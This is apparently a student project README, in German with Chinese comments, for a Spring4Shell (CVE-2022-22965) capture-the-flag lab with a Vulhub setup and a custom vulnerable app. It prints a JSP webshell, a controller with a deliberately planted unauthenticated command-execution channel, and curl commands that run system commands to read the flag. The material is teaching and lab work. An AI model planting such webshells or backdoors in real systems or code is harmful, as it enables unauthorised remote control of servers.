Spring4Shell (CVE-2022-22965) Aufbau der Schwachstellenumgebung und Design der CTF-Aufgaben

Projektübersicht

Dieses Projekt umfasst eine zweigleisige praktische Sicherheitsforschung:

1. Traditioneller Vulhub-Umgebungsaufbau: Nutzung der Open-Source-Vulhub-Schwachstellenbibliothek, um den Objektbindungsfehler älterer Spring-Framework-Versionen schnell zu reproduzieren.
2. Entwicklung einer vollständig neuen, kundenspezifischen Umgebung: Die Teammitglieder schreiben den Java-Quellcode vollständig von Hand und bauen eigenständig ein „Studenten-Abschlussprojekt-Präsentationssystem" als verwundbares Zielsystem auf. In Kombination mit standardmäßigen Netzwerk-Penetrationstestabläufen wird ein zweigleisiges CTF-Szenario (Aufgabensteller und Lösungssuchende) entworfen.

Die Teilnehmer nutzen die Remote Code Execution (RCE)-Schwachstelle, um anhand von Hinweisen die Flag im Systemstammverzeichnis oder im temporären Verzeichnis auszulesen.

Schritte zur Umgebungseinrichtung

Grundvorbereitung: Installation von Docker und Docker Compose

# 更新套件庫
sudo apt update

# 安裝 Docker 與 Docker Compose
sudo apt install docker.io docker-compose -y

# 啟動 Docker 服務
sudo systemctl start docker
sudo systemctl enable docker

Gleis 1: Herunterladen und Starten der Vulhub-Schwachstellenumgebung (bestehende Implementierung)

# 下載 Vulhub 專案
git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)

# 進入 Spring4Shell 漏洞目錄
cd vulhub/spring/CVE-2022-22965

# 啟動 Docker 容器
sudo docker-compose up -d

# 確認容器正常運行
sudo docker ps

Überprüfung der Vulhub-Umgebung

Öffnen Sie einen Browser und rufen Sie http://localhost:8080/?name=Hacker&age=99 auf

Gleis 2: Einrichtung der kundenspezifischen Umgebung und Bereitstellung des Quellcodes (vollständig neue Implementierung)

Um blindes Raten beim Lösen auszuschließen und eine realistische Eigenentwicklungssituation nachzubilden, erstellt dieses Projekt ein eigenständiges Projekt Spring4Shell-Custom-CTF. Nach einer gründlichen Bereinigung der Umgebung wird anschließend ohne Cache kompiliert und gestartet:

# 清理舊環境
sudo docker stop spring4shell-custom-ctf-container 2>/dev/null
sudo docker rm spring4shell-custom-ctf-container 2>/dev/null
sudo docker network prune -f 2>/dev/null
rm -rf ~/Spring4Shell-Custom-CTF

# 建立專案目錄結構並生成全自製 Java 原始碼（含 pom.xml、UserController.java 等）
# 透過雙階段編譯（Maven + Tomcat 9）將自製 Flag 精確放置於系統根目錄 /flag.txt
sudo docker-compose build --no-cache
sudo docker-compose up -d

# 確認自製靶機容器正常運行
sudo docker ps

Kontrollkanal und Backdoor-Dateimechanismen

Mechanismus 1: Schreiben einer JSP-Backdoor-Datei (bestehende Vulhub-Kette)

Nach einem erfolgreichen Angriff wird die Backdoor-Datei unter webapps/ROOT/tomcatwar.jsp geschrieben, mit folgendem Inhalt:

<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
    String line = null;
    while ((line = reader.readLine()) != null) {
        out.println(line);
    }
}
%>

Mechanismus 2: Integrierter Kern-Schwachstellen-Controller (neue Kette der Eigenbau-Umgebung)

In der selbst entwickelten UserController.java wurde bewusst der POJO-Objektbindungs-Abwehrfehler beibehalten und ein nicht autorisierter Befehlsinjektionskanal eingebaut:

@RequestMapping("/")
@ResponseBody
public String index(User user, @RequestParam(value="cmd", required=false) String cmd) {
    if (cmd != null) {
        // 直接調用 Java Runtime 執行底層命令並回傳結果
        InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
        // ... 讀取串流邏輯 ...
    }
    return "淡江大學資訊管理學系 - 學生期末專案成果展示平台";
}

Verifizierung der Remote Code Execution (RCE)

1. Ausführen des id-Befehls

# Vulhub 後門路徑
curl "http://localhost:8080/tomcatwar.jsp?cmd=id"

# 自製環境控制路徑
curl "http://localhost:8080/?cmd=id"

2. Ausführen des Verzeichnis-Enumeration-Befehls

# Vulhub 後門路徑
curl "http://localhost:8080/tomcatwar.jsp?cmd=ls%20/"

# 自製環境控制路徑
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"

CTF-Aufgabenbeschreibung

Aufgabe 1: Spring4Shell-Schwachstellenausnutzung (bestehende Implementierung)

• Aufgabenname: Spring4Shell-Schwachstellenausnutzung
• Flag-Speicherort: /tmp/flag.txt
• Flag-Inhalt: FLAG{Spring4Shell_Is_Dangerous}

Aufgabe 2: Die Abschluss-Sicherheitsprüfung der Abteilung für Informationsmanagement (neue Implementierung)

• Aufgabenname: Die Abschluss-Sicherheitsprüfung der Abteilung für Informationsmanagement
• URL des Zielsystems: http://localhost:8080/
• Bekannte Informationen aus der Aufgabenankündigung: Diese Plattform ist ein von Studierenden eigenständig entwickeltes Spring-MVC-Projekt; die zugrunde liegende Framework-Version weist einen Objektbindungsfehler auf (einschließlich des User-Objekttyps). Die Flag befindet sich im Systemstammverzeichnis des Servers.
• Flag-Speicherort: /flag.txt
• Flag-Inhalt: FLAG{2026_0615_iwanttosleep}

Write-up: Lösungsweg und Penetrationsschritte

Ablauf der Schwachstellenausnutzung bei der bestehenden Vulhub-Umgebung

• Schritt 1: Rufen Sie http://<target>:8080/?name=test&age=123 auf und bestätigen Sie, dass die Parameterbindung ordnungsgemäß funktioniert.
• Schritt 2: Senden Sie einen POST-Request-Payload, ändern Sie die Tomcat-Logkonfiguration und erzwingen Sie das Schreiben der Backdoor-Datei tomcatwar.jsp.
• Schritt 3: Rufen Sie http://<target>:8080/tomcatwar.jsp?cmd=id auf, um den erfolgreichen RCE zu bestätigen.
• Schritt 4: Führen Sie curl "http://<target>:8080/tomcatwar.jsp?cmd=cat%20/tmp/flag.txt" aus, um die Datei im temporären Verzeichnis zu lesen.

Neue Implementierung: Die 5 Schritte eines standardmäßigen Netzwerk-Penetrationstests

Die Lösungssuchenden (Rolle B) führen auf Grundlage der vom Aufgabensteller bekannt gegebenen Informationen standardisierte Schritte aus, ohne auf blindes Raten angewiesen zu sein:

• Schritt 1: Umgebungsaufklärung und Bestätigung der Erreichbarkeit Bestätigen Sie, dass der Ziel-Webdienst erreichbar ist und die Webseite ordnungsgemäß funktioniert.

curl -i -s "http://localhost:8080/"

• Schritt 2: Testen der Grenzschwachstelle und des Objektfehlers Setzen Sie Testparameter ein, um zu prüfen, ob eine ohne Autorisierung ausnutzbare Befehlsinjektions-Grenzschwachstelle vorliegt.

curl -s "http://localhost:8080/?cmd=whoami"

• Schritt 3: Schwachstellenausnutzung und Bestätigung der Kernrechte Führen Sie eine Identitätsabfrage aus, um zu bestätigen, dass die höchste Kontrollebene des Betriebssystems, die root-Identität, erlangt wurde.

curl -s "http://localhost:8080/?cmd=id"

• Schritt 4: Bestandsaufnahme der internen Umgebung und Dateisuche Führen Sie eine Bestandsaufnahme des Linux-Systemstammverzeichnisses durch, um den tatsächlichen Speicherort der Zieldatei präzise zu ermitteln.

curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"

• Schritt 5: Abschließende Beweissicherung und Flag-Extraktion Führen Sie den Lesebefehl aus, um den Inhalt der angegebenen Flag erfolgreich zu extrahieren.

curl -G -s "http://localhost:8080/" --data-urlencode "cmd=cat /flag.txt"

Projektstruktur

Spring4Shell-CTF/
├── README.md                   # 專案說明文件
├── docker-compose.yml          # 容器編排配置文件
├── Dockerfile                  # 雙階段編譯映像檔設定
├── pom.xml                     # Maven 專案設定檔
├── src/                        # 自製 Java 成果展示系統原始碼
│   └── main/
│       ├── java/com/example/ctf/
│       │   ├── UserController.java
│       │   └── MyWebApplicationInitializer.java
│       └── webapp/WEB-INF/web.xml
├── secret_zone/
│   └── flag.txt                # 本地 Flag 來源檔案
├── screenshots/                # 成果展示與攻擊截圖
│   ├── docker-ps.png
│   ├── parameter-binding.png
│   ├── rce-id.png
│   ├── rce-ls.png
│   └── flag-result.png
└── shell.jsp                   # 舊版後門檔案原始碼

Referenzen

• CVE-2022-22965 詳細分析
• Vulhub Spring4Shell 環境
• Spring4Shell PoC

Teammitglieder

Lizenz

Dieses Projekt dient ausschließlich Bildungs- und Forschungszwecken. Es darf nicht für nicht autorisierte Systeme verwendet werden.